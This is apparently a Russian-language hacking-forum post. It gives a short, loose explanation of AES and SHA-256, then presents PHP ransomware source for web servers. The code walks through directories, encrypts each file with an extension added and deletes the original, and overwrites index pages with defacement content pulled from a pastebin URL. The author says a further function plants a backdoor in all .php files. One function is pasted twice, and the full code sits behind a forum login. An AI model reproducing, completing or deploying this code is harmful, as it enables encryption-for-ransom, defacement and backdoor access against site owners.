Краткое знакомство с алгоритмами. Серверный шифровальщик на PHP. Mcrypt и SHA256.

Forevonly

Original poster
Pro Member
Сообщения
599
Реакции
601
Посетить сайт

Advanced Encryption Standard - это симметричный алгоритм блочного шифрования.

Блочное шифрование - это когда информация разбивается на блоки и шифруется кратными блоками например, 8-ми или 16 байтам.

Данный алгоритм был принят правительством США в качестве стандарта в результате конкурса, проведенного между технологическими институтами. Надежным ключом считается ключ в 128 бит и больше, напоминаю, что 1 байт = 8 битов ). 128 байт делятся на группы из 8- ми рядом стоящих бит так, чтобы в результате получился массив. Байт - это основной элемент, которым оперирует алгоритм AES. Значение байта задается в шестнадцатеричной системе. Например: 10101100 = 1010 1100 = АС. Старший бит - это единичный бит числа, отвечающий за самую большую степень двойки. Байт делится на 2 группы: старшие биты в данном случае - это 1010 идут первыми, а младшие 1100 - вторыми. Алгоритм основан на подстановках, перестановках и линейных преобразованиях, каждый из которых выполняется на блоках данных по 16 байтов. Все операции выполняются по несколько раз и называются раундами. Во время каждого раунда уникальный ключ рассчитывается из ключа шифрования и включается в вычисления. Основываясь на блочной структуре AES, изменение отдельного бита либо в ключе, либо в блоке открытого текста приводит к совершенно другому блоку зашифрованного текста.



SHA-256 - это хеш функция, созданная Агентством национальной безопасности США весной 2002 года. SHA 256 раздробляет информацию на части по 512 бит и производит ее криптографическое «смешивание», а затем выдаёт 256-битный хеш-код. Всю это процедуру он повторяет 64 раза.

SHA256 имеет длину 64 символа. Каждый символ - это цифра от 0 до 9 и/или буква от A до F, которые формируют 4 бита информации. Таким образом, весь хеш равняется 64 x 4 = 256 битов информации. Именно поэтому в названии функции SHA256 присутствует 256.



PHP-Mcrypt - это интерфейс библиотеки mcrypt, которая поддерживает широкий набор алгоритмов.



Что же теперь перейдем к самому шифровальщику:


Дизайн поменяйте под себя, я знаю, что он тот еще кал.

Перейдем к самому коду:

Код:
echo "<h2><center><font color='black'>Ransomware</font></center><br/></h2>";

function encrypt_decrypt($action, $string, $secret_key, $encrypt_method, $iv) {
    $key = hash('sha256', $secret_key); # Генерируем ключ
    if( $action == 'encrypt' ) {
        return base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv)); # возвращаем зашифрованную строку
    }
    else if( $action == 'decrypt' ){
        return openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
    }
}

function encfile($file){
  if (strpos($file, '.htaccess') != false) return;
  if (strpos($file, '.FS') != false) return;
  if (strpos($file, 'Readme.html') != false) return;
  if (strpos($file, 'rans') != false) return;
  $code = file_get_contents('http://pastebin.com/raw/P5MskjcX');
  if (strpos($file, 'index') != false) { file_put_contents($file, $code); return;}
  file_put_contents($file.'.FS', encrypt_decrypt($_POST['encdec'], file_get_contents($file), $_POST['key'], $_POST['mthd'], $_POST['iv']));
  unlink($file);
}

Параметры функции encrypt_decrypt:

  • $action - шифровать/дешифровать
  • $string - текст файла
  • $secret_key - ключ
  • $encrypt_method - метод шифрования, о нем чуть позже
  • $iv - ненулевой инициализирующий вектор.
Ко всем зашифрованным файлам добавляет расширение .FS .Функция encfile принимает в качестве аргумента файл и проверяет не является ли он каким либо важным файлом, который может навредить системе или этот файл создан нашей программой, например Readme.html, в котором мы оставим сообщение администратору, а также проверяет был ли файл зашифрован. Также она делает дефейс главной страницы сайта, код которой берет с pastebin.



Далее функция encdir переходит из директорию в директорию и вписывает в файл зашифрованный код, а функция shell вставляет бэкдор во все файлы с расширением .php

Код:
function encdir($dir, $func){
  $j = 0;
  $files = array_diff(scandir($dir), array('.', '..'));
  foreach ($files as $filecip){
    if(is_dir($dir.'\\'.$filecip)){
      encdir($dir.'\\'.$filecip, $func);
    }else{
      $j++;
      echo "Encrypted in the directory ".$j.' ';
      $findme    = 'z';
        $findme1   = 'Y';
      $pos1 = stripos($func, $findme);
      $pos2 = stripos($func, $findme1);
      if ($pos1 !== false){
              echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
      }else{
        echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
      }
      $func($dir.'/'.$filecip);
    }
  }
}

function encdir($dir, $func){
  $j = 0;
  $files = array_diff(scandir($dir), array('.', '..'));
  foreach ($files as $filecip){
    if(is_dir($dir.'\\'.$filecip)){
      encdir($dir.'\\'.$filecip, $func);
    }else{
      $j++;
      echo "Encrypted in the directory ".$j.' ';
      $findme    = 'z';
        $findme1   = 'Y';
      $pos1 = stripos($func, $findme);
      $pos2 = stripos($func, $findme1);
      if ($pos1 !== false){
              echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
      }else{
        echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
      }
      $func($dir.'/'.$filecip);
    }
  }
}

XOR - это один из самых простых и эффективных алгоритмов шифрования. Таблица исключения(или):


Я уже описывал работу этого шифровальщика в разделе разработки. Я знаю, что я довольно мало описал алгоритмов и принципы их работы, но тут вам нужно будет включить голову. Говнокод подправлю к утру.

Полный код шифровальщика:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.





XOR -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



AES -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



SHA256 -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
T0pDro4eR Краткое описание модели OSI Полезные статьи 0

Название темы